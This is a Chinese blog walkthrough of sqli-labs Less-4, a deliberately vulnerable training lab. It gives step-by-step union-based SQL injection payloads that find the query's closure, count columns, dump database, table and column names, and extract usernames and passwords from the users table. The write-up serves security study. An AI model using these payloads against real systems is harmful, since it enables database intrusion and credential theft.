sqli-labs Less-4

 

本系列文章使用的靶场环境为sqli-labs
环境下载地址:https://github.com/Audi-1/sqli-labs
持续跟新,一直到通过此靶场为止

1.判断注入类型

index.php?id=1"

单引号回显正常,双引号会报错

 

 

然后根据报错,我们可以得知这个sql注入页面的使用双引号和括号进行闭合。

 

2.猜字段数

index.php?id=1") order by 4 --+

index.php?id=1") order by 3 --+

 

order by 4时报错,order by 3时显示正常,说明当前数据库当前表存在3个字段。

3.使用联合查询查看页面的显示位

index.php?id=-1") union select 1,2,3 --+

 

这里需要注意的是id的值需要是一个数据库中不存在的值,因为只有这样,页面才会显示我们后面联合查询的数据。我们可以看到2,3被显示在了页面上。

4.爆出数据库版本和当前数据库名

index.php?id=-1") union select 1,database(),version() --+

5.爆出所有数据库

index.php?id=-1") union select 1,group_concat(schema_name),3 from information_schema.schemata --+

6.爆出当前数据库所有表

index.php?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" --+

7.查询当前数据库users表所有字段

index.php?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" --+

8.查询数据

index.php?id=-1") union select 1,group_concat(username),group_concat(password) from users --+

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值